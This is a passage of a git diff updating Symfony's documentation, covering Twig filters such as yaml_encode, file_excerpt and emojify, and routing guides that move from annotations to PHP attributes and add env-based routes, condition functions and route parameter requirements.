}} + +``body`` + **type**: ``string`` +``sanitizer`` *(optional)* + **type**: ``string`` **default**: ``"default"`` + +Sanitizes the text using the HTML Sanitizer component. More information in +:ref:`HTML Sanitizer <html-sanitizer-twig>`. + yaml_encode ~~~~~~~~~~~ @@ -403,8 +667,46 @@ yaml_encode ``dumpObjects`` *(optional)* **type**: ``boolean`` **default**: ``false`` -Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for -more information. +Transforms the input into YAML syntax. + +The ``inline`` argument is the level where the generated output switches to inline YAML: + +.. code-block:: twig + + {% set array = { + 'a': { + 'c': 'e' + }, + 'b': { + 'd': 'f' + } + } %} + + {{ array|yaml_encode(inline = 0) }} + {# output: + { a: { c: e }, b: { d: f } } #} + + {{ array|yaml_encode(inline = 1) }} + {# output: + a: { c: e } + b: { d: f } #} + +The ``dumpObjects`` argument enables the dumping of PHP objects:: + + // ... + $object = new \stdClass(); + $object->foo = 'bar'; + // ... + +.. code-block:: twig + + {{ object|yaml_encode(dumpObjects = false) }} + {# output: null #} + + {{ object|yaml_encode(dumpObjects = true) }} + {# output: !php/object 'O:8:"stdClass":1:{s:5:"foo";s:7:"bar";}' #} + +See :ref:`components-yaml-dump` for more information. yaml_dump ~~~~~~~~~ @@ -423,6 +725,43 @@ yaml_dump Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in the output. +The ``inline`` argument is the level where the generated output switches to inline YAML: + +.. code-block:: twig + + {% set array = { + 'a': { + 'c': 'e' + }, + 'b': { + 'd': 'f' + } + } %} + + {{ array|yaml_dump(inline = 0) }} + {# output: + %array% { a: { c: e }, b: { d: f } } #} + + {{ array|yaml_dump(inline = 1) }} + {# output: + %array% a: { c: e } + b: { d: f } #} + +The ``dumpObjects`` argument enables the dumping of PHP objects:: + + // ... + $object = new \stdClass(); + $object->foo = 'bar'; + // ... + +.. code-block:: twig + + {{ object|yaml_dump(dumpObjects = false) }} + {# output: %object% null #} + + {{ object|yaml_dump(dumpObjects = true) }} + {# output: %object% !php/object 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}' #} + abbr_class ~~~~~~~~~~ @@ -436,6 +775,16 @@ abbr_class Generates an ``<abbr>`` element with the short name of a PHP class (the FQCN will be shown in a tooltip when a user hovers over the element). +.. code-block:: twig + + {{ 'App\\Entity\\Product'|abbr_class }} + +The above example will be rendered as: + +.. code-block:: html + + <abbr title="App\Entity\Product">Product</abbr> + abbr_method ~~~~~~~~~~~ @@ -450,6 +799,16 @@ Generates an ``<abbr>`` element using the ``FQCN::method()`` syntax. If ``method`` is ``Closure``, ``Closure`` will be used instead and if ``method`` doesn't have a class name, it's shown as a function (``method()``). +.. code-block:: twig + + {{ 'App\\Controller\\ProductController::list'|abbr_method }} + +The above example will be rendered as: + +.. code-block:: html + + <abbr title="App\Controller\ProductController">ProductController</abbr>::list() + format_args ~~~~~~~~~~~ @@ -492,6 +851,32 @@ Generates an excerpt of a code file around the given ``line`` number. The ``srcContext`` argument defines the total number of lines to display around the given line number (use ``-1`` to display the whole file). +Consider the following as the content of ``file.txt``: + +.. code-block:: text + + a + b + c + d + e + +.. code-block:: html+twig + + {{ '/path/to/file.txt'|file_excerpt(line = 4, srcContext = 1) }} + {# output: #} + <ol start="3"> + <li><a class="anchor" id="line3"></a><code>c</code></li> + <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li> + <li><a class="anchor" id="line5"></a><code>e</code></li> + </ol> + + {{ '/path/to/file.txt'|file_excerpt(line = 1, srcContext = 0) }} + {# output: #} + <ol start="1"> + <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li> + </ol> + format_file ~~~~~~~~~~~ @@ -510,6 +895,27 @@ Generates the file path inside an ``<a>`` element. If the path is inside the kernel root directory, the kernel root directory path is replaced by ``kernel.project_dir`` (showing the full path in a tooltip on hover). +.. code-block:: html+twig + + {{ '/path/to/file.txt'|format_file(line = 1, text = "my_text") }} + {# output: #} + <a href="/path/to/file.txt#L1" + title="Click to open this file" class="file_link">my_text at line 1 + </a> + + {{ "/path/to/file.txt"|format_file(line = 3) }} + {# output: #} + <a href="/path/to/file.txt&line=3" + title="Click to open this file" class="file_link">/path/to/file.txt at line 3 + </a> + +.. tip:: + + If you set the :ref:`framework.ide <reference-framework-ide>` option, the + generated links will change to open the file in that IDE/editor. For example, + when using PhpStorm, the ``<a href="/path/to/file.txt&line=3"`` link will + become ``<a href="phpstorm://open?file=/path/to/file.txt&line=3"``. + format_file_from_text ~~~~~~~~~~~~~~~~~~~~~ @@ -537,6 +943,11 @@ file_link Generates a link to the provided file and line number using a preconfigured scheme. +.. code-block:: twig + + {{ 'path/to/file/file.txt'|file_link(line = 3) }} + {# output: file://path/to/file/file.txt#L3 #} + file_relative ~~~~~~~~~~~~~ @@ -558,6 +969,73 @@ project's root directory: If the given file path is out of the project directory, a ``null`` value will be returned. +.. _reference-twig-filter-serialize: + +serialize +~~~~~~~~~ + +.. code-block:: twig + + {{ object|serialize(format = 'json', context = []) }} + +``object`` + **type**: ``mixed`` + +``format`` *(optional)* + **type**: ``string`` + +``context`` *(optional)* + **type**: ``array`` + +Accepts any data that can be serialized by the :doc:`Serializer component </serializer>` +and returns a serialized string in the specified ``format``. + +For example:: + + $object = new \stdClass(); + $object->foo = 'bar'; + $object->content = []; + $object->createdAt = new \DateTime('2024-11-30'); + +.. code-block:: twig + + {{ object|serialize(format = 'json', context = { + 'datetime_format': 'D, Y-m-d', + 'empty_array_as_object': true, + }) }} + {# output: {"foo":"bar","content":{},"createdAt":"Sat, 2024-11-30"} #} + +.. _reference-twig-filter-emojify: + +emojify +~~~~~~~ + +.. versionadded:: 7.1 + + The ``emojify`` filter was introduced in Symfony 7.1. + +.. code-block:: twig + + {{ text|emojify(catalog = null) }} + +``text`` + **type**: ``string`` + +``catalog`` *(optional)* + **type**: ``string`` | ``null`` + + The emoji set used to generate the textual representation (``slack``, + ``github``, ``gitlab``, etc.) + +It transforms the textual representation of an emoji (e.g. ``:wave:``) into the +actual emoji (👋): + +.. code-block:: twig + + {{ ':+1:'|emojify }} {# renders: 👍 #} + {{ ':+1:'|emojify('github') }} {# renders: 👍 #} + {{ ':thumbsup:'|emojify('gitlab') }} {# renders: 👍 #} + .. _reference-twig-tags: Tags @@ -642,4 +1120,4 @@ The ``app`` variable is injected automatically by Symfony in all templates and provides access to lots of useful application information. Read more about the :ref:`Twig global app variable <twig-app-variable>`. -.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/2.x/#reference +.. _`default filters and functions defined by Twig`: https://twig.symfony.com/doc/3.x/#reference diff --git a/routing.rst b/routing.rst index 53088f53a32..c093040e780 100644 --- a/routing.rst +++ b/routing.rst @@ -1,6 +1,3 @@ -.. index:: - single: Routing - Routing ======= @@ -15,84 +12,61 @@ provides other useful features, like generating SEO-friendly URLs (e.g. Creating Routes --------------- -Routes can be configured in YAML, XML, PHP or using either attributes or -annotations. All formats provide the same features and performance, so choose +Routes can be configured in YAML, XML, PHP or using attributes. +All formats provide the same features and performance, so choose your favorite. -:ref:`Symfony recommends attributes <best-practice-controller-annotations>` +:ref:`Symfony recommends attributes <best-practice-controller-attributes>` because it's convenient to put the route and controller in the same place. -Creating Routes as Attributes or Annotations -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -On PHP 8, you can use native attributes to configure routes right away. On -PHP 7, where attributes are not available, you can use annotations instead, -provided by the Doctrine Annotations library. - -In case you want to use annotations instead of attributes, run this command -once in your application to enable them: - -.. code-block:: terminal - - $ composer require doctrine/annotations +.. _routing-route-attributes: -.. versionadded:: 5.2 +Creating Routes as Attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - The ability to use PHP attributes to configure routes was introduced in - Symfony 5.2. Prior to this, Doctrine Annotations were the only way to - annotate controller actions with routing configuration. +PHP attributes allow you to define routes next to the code of the +:doc:`controllers </controller>` associated to those routes. -This command also creates the following configuration file: +You need to add a bit of configuration to your project before using them. If your +project uses :ref:`Symfony Flex <symfony-flex>`, this file is already created for you. +Otherwise, create the following file manually: .. code-block:: yaml - # config/routes/annotations.yaml + # config/routes/attributes.yaml controllers: - resource: '../../src/Controller/' - type: annotation + resource: + path: ../../src/Controller/ + namespace: App\Controller + type: attribute kernel: - resource: ../../src/Kernel.php - type: annotation + resource: App\Kernel + type: attribute -This configuration tells Symfony to look for routes defined as annotations in -any PHP class stored in the ``src/Controller/`` directory. +This configuration tells Symfony to look for routes defined as attributes on +classes declared in the ``App\Controller`` namespace and stored in the +``src/Controller/`` directory which follows the PSR-4 standard. The kernel can +act as a controller too, which is especially useful for small applications that +use Symfony as a microframework. Suppose you want to define a route for the ``/blog`` URL in your application. To -do so, create a :doc:`controller class </controller>` like the following:: +do so, create a :doc:`controller class </controller>` like the following: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * @Route("/blog", name="blog_list") - */ - public function list() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { #[Route('/blog', name: 'blog_list')] - public function list() + public function list(): Response { // ... } @@ -108,7 +82,7 @@ the ``list()`` method of the ``BlogController`` class. example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will also match the ``blog_list`` route. -.. caution:: +.. warning:: If you define multiple PHP classes in the same file, Symfony only loads the routes of the first class, ignoring all the other routes. @@ -167,7 +141,7 @@ the ``BlogController``: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('blog_list', '/blog') // the controller value has the format [controller_class, method_name] ->controller([BlogController::class, 'list']) @@ -178,6 +152,12 @@ the ``BlogController``: ; }; +.. note:: + + By default, Symfony loads the routes defined in both YAML and PHP formats. + If you define routes in XML format, you need to + :ref:`update the src/Kernel.php file <configuration-formats>`. + .. _routing-matching-http-methods: Matching HTTP Methods @@ -188,49 +168,25 @@ Use the ``methods`` option to restrict the verbs each route should respond to: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogApiController.php - namespace App\Controller; - - // ... - - class BlogApiController extends AbstractController - { - /** - * @Route("/api/posts/{id}", methods={"GET","HEAD"}) - */ - public function show(int $id) - { - // ... return a JSON response with the post - } - - /** - * @Route("/api/posts/{id}", methods={"PUT"}) - */ - public function edit(int $id) - { - // ... edit a post - } - } - .. code-block:: php-attributes // src/Controller/BlogApiController.php namespace App\Controller; - // ... + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogApiController extends AbstractController { #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])] - public function show(int $id) + public function show(int $id): Response { // ... return a JSON response with the post } #[Route('/api/posts/{id}', methods: ['PUT'])] - public function edit(int $id) + public function edit(int $id): Response { // ... edit a post } @@ -273,7 +229,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to: use App\Controller\BlogApiController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('api_post_show', '/api/posts/{id}') ->controller([BlogApiController::class, 'show']) ->methods(['GET', 'HEAD']) @@ -288,53 +244,92 @@ Use the ``methods`` option to restrict the verbs each route should respond to: HTML forms only support ``GET`` and ``POST`` methods. If you're calling a route with a different method from an HTML form, add a hidden field called - ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT"/>``). + ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``). If you create your forms with :doc:`Symfony Forms </forms>` this is done - automatically for you. + automatically for you when the :ref:`framework.http_method_override <configuration-framework-http_method_override>` + option is ``true``. -.. _routing-matching-expressions: +Matching Environments +~~~~~~~~~~~~~~~~~~~~~ -Matching Expressions -~~~~~~~~~~~~~~~~~~~~ - -Use the ``condition`` option if you need some route to match based on some -arbitrary matching logic: +Use the ``env`` option to register a route only when the current +:ref:`configuration environment <configuration-environments>` matches the +given value: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { - /** - * @Route( - * "/contact", - * name="contact", - * condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'" - * ) - * - * expressions can also include config parameters: - * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'" - */ - public function contact() + #[Route('/tools', name: 'tools', env: 'dev')] + public function developerTools(): Response { // ... } } + .. code-block:: yaml + + # config/routes.yaml + when@dev: + tools: + path: /tools + controller: App\Controller\DefaultController::developerTools + + .. code-block:: xml + + <!-- config/routes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <when env="dev"> + <route id="tools" path="/tools" controller="App\Controller\DefaultController::developerTools"/> + </when> + </routes> + + .. code-block:: php + + // config/routes.php + use App\Controller\DefaultController; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return function (RoutingConfigurator $routes): void { + if('dev' === $routes->env()) { + $routes->add('tools', '/tools') + ->controller([DefaultController::class, 'developerTools']) + ; + } + }; + +.. _routing-matching-expressions: + +Matching Expressions +~~~~~~~~~~~~~~~~~~~~ + +Use the ``condition`` option if you need some route to match based on some +arbitrary matching logic: + +.. configuration-block:: + .. code-block:: php-attributes // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { @@ -342,13 +337,24 @@ arbitrary matching logic: '/contact', name: 'contact', condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'", + // expressions can also include config parameters: + // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'" )] - // expressions can also include config parameters: - // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'" - public function contact() + public function contact(): Response { // ... } + + #[Route( + '/posts/{id}', + name: 'post_show', + // expressions can retrieve route parameter values using the "params" variable + condition: "params['id'] < 1000" + )] + public function showPost(int $id): Response + { + // ... return a JSON response with the post + } } .. code-block:: yaml @@ -356,10 +362,18 @@ arbitrary matching logic: # config/routes.yaml contact: path: /contact - controller: 'App\Controller\DefaultController::contact' + controller: App\Controller\DefaultController::contact condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'" - # expressions can also include config parameters: + # expressions can also include configuration parameters: # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'" + # expressions can even use environment variables: + # condition: "context.getHost() == env('APP_MAIN_HOST')" + + post_show: + path: /posts/{id} + controller: App\Controller\DefaultController::showPost + # expressions can retrieve route parameter values using the "params" variable + condition: "params['id'] < 1000" .. code-block:: xml @@ -372,8 +386,15 @@ arbitrary matching logic: <route id="contact" path="/contact" controller="App\Controller\DefaultController::contact"> <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition> - <!-- expressions can also include config parameters: --> + <!-- expressions can also include configuration parameters: --> <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> --> + <!-- expressions can even use environment variables: --> + <!-- <condition>context.getHost() == env('APP_MAIN_HOST')</condition> --> + </route> + + <route id="post_show" path="/posts/{id}" controller="App\Controller\DefaultController::showPost"> + <!-- expressions can retrieve route parameter values using the "params" variable --> + <condition>params['id'] < 1000</condition> </route> </routes> @@ -383,18 +404,25 @@ arbitrary matching logic: use App\Controller\DefaultController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('contact', '/contact') ->controller([DefaultController::class, 'contact']) ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"') - // expressions can also include config parameters: - // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"' + // expressions can also include configuration parameters: + // ->condition('request.headers.get("User-Agent") matches "%app.allowed_browsers%"') + // expressions can even use environment variables: + // ->condition('context.getHost() == env("APP_MAIN_HOST")') + ; + $routes->add('post_show', '/posts/{id}') + ->controller([DefaultController::class, 'showPost']) + // expressions can retrieve route parameter values using the "params" variable + ->condition('params["id"] < 1000') ; }; -The value of the ``condition`` option is any valid -:doc:`ExpressionLanguage expression </components/expression_language/syntax>` -and can use any of these variables created by Symfony: +The value of the ``condition`` option is an expression using any valid +:doc:`expression language syntax </reference/formats/expression_language>` and +can use any of these variables created by Symfony: ``context`` An instance of :class:`Symfony\\Component\\Routing\\RequestContext`, @@ -404,11 +432,45 @@ and can use any of these variables created by Symfony: The :ref:`Symfony Request <component-http-foundation-request>` object that represents the current request. +``params`` + An array of matched :ref:`route parameters <routing-route-parameters>` for + the current route. + +You can also use these functions: + +``env(string $name)`` + Returns the value of a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>` + +``service(string $alias)`` + Returns a routing condition service. + + First, add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service`` + tag to the services that you want to use in route conditions:: + + use Symfony\Bundle\FrameworkBundle\Routing\Attribute\AsRoutingConditionService; + use Symfony\Component\HttpFoundation\Request; + + #[AsRoutingConditionService(alias: 'route_checker')] + class RouteChecker + { + public function check(Request $request): bool + { + // ... + } + } + + Then, use the ``service()`` function to refer to that service inside conditions:: + + // Controller (using an alias): + #[Route(condition: "service('route_checker').check(request)")] + // Or without alias: + #[Route(condition: "service('App\\\Service\\\RouteChecker').check(request)")] + Behind the scenes, expressions are compiled down to raw PHP. Because of this, using the ``condition`` key causes no extra overhead beyond the time it takes for the underlying PHP to execute. -.. caution:: +.. warning:: Conditions are *not* taken into account when generating URLs (which is explained later in this article). @@ -436,6 +498,18 @@ evaluates them: blog_show ANY ANY ANY /blog/{slug} ---------------- ------- ------- ----- -------------------------------------------- + # pass this option to also display all the defined route aliases + $ php bin/console debug:router --show-aliases + + # pass this option to only display routes that match the given HTTP method + # (you can use the special value ANY to see routes that match any method) + $ php bin/console debug:router --method=GET + $ php bin/console debug:router --method=ANY + +.. versionadded:: 7.3 + + The ``--method`` option was introduced in Symfony 7.3. + Pass the name (or part of the name) of some route to this argument to print the route details: @@ -463,6 +537,8 @@ controller action that you expect: [OK] Route "app_lucky_number" matches +.. _routing-route-parameters: + Route Parameters ---------------- @@ -471,50 +547,26 @@ However, it's common to define routes where some parts are variable. For example the URL to display some blog post will probably include the title or slug (e.g. ``/blog/my-first-post`` or ``/blog/all-about-symfony``). -In Symfony routes, variable parts are wrapped in ``{ ... }`` and they must have -a unique name. For example, the route to display the blog post contents is -defined as ``/blog/{slug}``: +In Symfony routes, variable parts are wrapped in ``{ }``. +For example, the route to display the blog post contents is defined as ``/blog/{slug}``: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - // ... - - /** - * @Route("/blog/{slug}", name="blog_show") - */ - public function show(string $slug) - { - // $slug will equal the dynamic part of the URL - // e.g. at /blog/yay-routing, then $slug='yay-routing' - - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { // ... #[Route('/blog/{slug}', name: 'blog_show')] - public function show(string $slug) + public function show(string $slug): Response { // $slug will equal the dynamic part of the URL // e.g. at /blog/yay-routing, then $slug='yay-routing' @@ -549,7 +601,7 @@ defined as ``/blog/{slug}``: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return function (RoutingConfigurator $routes): void { $routes->add('blog_show', '/blog/{slug}') ->controller([BlogController::class, 'show']) ; @@ -579,51 +631,25 @@ the ``{page}`` parameter using the ``requirements`` option: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"}) - */ - public function list(int $page) - { - // ... - } - - /** - * @Route("/blog/{slug}", name="blog_show") - */ - public function show($slug) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])] - public function list(int $page) + public function list(int $page): Response { // ... } #[Route('/blog/{slug}', name: 'blog_show')] - public function show($slug) + public function show(string $slug): Response { // ... } @@ -665,7 +691,7 @@ the ``{page}`` parameter using the ``requirements`` option: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('blog_list', '/blog/{page}') ->controller([BlogController::class, 'list']) ->requirements(['page' => '\d+']) @@ -688,10 +714,61 @@ URL Route Parameters ``/blog/my-first-post`` ``blog_show`` ``$slug`` = ``my-first-post`` ======================== ============= =============================== +.. tip:: + + The :class:`Symfony\\Component\\Routing\\Requirement\\Requirement` enum + contains a collection of commonly used regular-expression constants such as + digits, dates and UUIDs which can be used as route parameter requirements. + + .. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/BlogController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Routing\Requirement\Requirement; + + class BlogController extends AbstractController + { + #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])] + public function list(int $page): Response + { + // ... + } + } + + .. code-block:: yaml + + # config/routes.yaml + blog_list: + path: /blog/{page} + controller: App\Controller\BlogController::list + requirements: + page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS + + .. code-block:: php + + // config/routes.php + use App\Controller\BlogController; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + use Symfony\Component\Routing\Requirement\Requirement; + + return static function (RoutingConfigurator $routes): void { + $routes->add('blog_list', '/blog/{page}') + ->controller([BlogController::class, 'list']) + ->requirements(['page' => Requirement::DIGITS]) + ; + // ... + }; + .. tip:: Route requirements (and route paths too) can include - :ref:`container parameters <configuration-parameters>`, which is useful to + :ref:`configuration parameters <configuration-parameters>`, which is useful to define complex regular expressions once and reuse them in multiple routes. .. tip:: @@ -699,13 +776,7 @@ URL Route Parameters Parameters also support `PCRE Unicode properties`_, which are escape sequences that match generic character types. For example, ``\p{Lu}`` matches any uppercase character in any language, ``\p{Greek}`` matches any - Greek character, etc. - -.. note:: - - When using regular expressions in route parameters, you can set the ``utf8`` - route option to ``true`` to make any ``.`` character match any UTF-8 - characters instead of just a single byte. + Greek characters, etc. If you prefer, requirements can be inlined in each parameter using the syntax ``{parameter_name<requirements>}``. This feature makes configuration more @@ -713,37 +784,19 @@ concise, but it can decrease route readability when requirements are complex: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * @Route("/blog/{page<\d+>}", name="blog_list") - */ - public function list(int $page) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { #[Route('/blog/{page<\d+>}', name: 'blog_list')] - public function list(int $page) + public function list(int $page): Response { // ... } @@ -777,7 +830,7 @@ concise, but it can decrease route readability when requirements are complex: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('blog_list', '/blog/{page<\d+>}') ->controller([BlogController::class, 'list']) ; @@ -792,43 +845,25 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not** match. As soon as you add a parameter to a route, it must have a value. You can make ``blog_list`` once again match when the user visits ``/blog`` by -adding a default value for the ``{page}`` parameter. When using annotations, +adding a default value for the ``{page}`` parameter. When using attributes, default values are defined in the arguments of the controller action. In the other configuration formats they are defined with the ``defaults`` option: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"}) - */ - public function list(int $page = 1) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])] - public function list(int $page = 1) + public function list(int $page = 1): Response { // ... } @@ -872,7 +907,7 @@ other configuration formats they are defined with the ``defaults`` option: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('blog_list', '/blog/{page}') ->controller([BlogController::class, 'list']) ->defaults(['page' => 1]) @@ -883,7 +918,11 @@ other configuration formats they are defined with the ``defaults`` option: Now, when the user visits ``/blog``, the ``blog_list`` route will match and ``$page`` will default to a value of ``1``. -.. caution:: +.. tip:: + + The default value is allowed to not match the requirement. + +.. warning:: You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``), but everything after an optional parameter must be optional. For example, @@ -901,37 +940,19 @@ parameter: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * @Route("/blog/{page<\d+>?1}", name="blog_list") - */ - public function list(int $page) - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class BlogController extends AbstractController { #[Route('/blog/{page<\d+>?1}', name: 'blog_list')] - public function list(int $page) + public function list(int $page): Response { // ... } @@ -965,7 +986,7 @@ parameter: use App\Controller\BlogController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('blog_list', '/blog/{page<\d+>?1}') ->controller([BlogController::class, 'list']) ; @@ -974,61 +995,30 @@ parameter: .. tip:: To give a ``null`` default value to any parameter, add nothing after the - ``?`` character (e.g. ``/blog/{page?}``). + ``?`` character (e.g. ``/blog/{page?}``). If you do this, don't forget to + update the types of the related controller arguments to allow passing + ``null`` values (e.g. replace ``int $page`` by ``?int $page``). Priority Parameter ~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.1 - - The ``priority`` parameter was introduced in Symfony 5.1 - -When defining a greedy pattern that matches many routes, this may be at the -beginning of your routing collection and prevents any route defined after to be -matched. -A ``priority`` optional parameter is available in order to let you choose the -order of your routes, and it is only available when using annotations. +Symfony evaluates routes in the order they are defined. If the path of a route +matches many different patterns, it might prevent other routes from being +matched. In YAML and XML you can move the route definitions up or down in the +configuration file to control their priority. In routes defined as PHP +attributes this is much harder to do, so you can set the +optional ``priority`` parameter in those routes to control their priority: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/BlogController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class BlogController extends AbstractController - { - /** - * This route has a greedy pattern and is defined first. - * - * @Route("/blog/{slug}", name="blog_show") - */ - public function show(string $slug) - { - // ... - } - - /** - * This route could not be matched without defining a higher priority than 0. - * - * @Route("/blog/list", name="blog_list", priority=2) - */ - public function list() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/BlogController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use 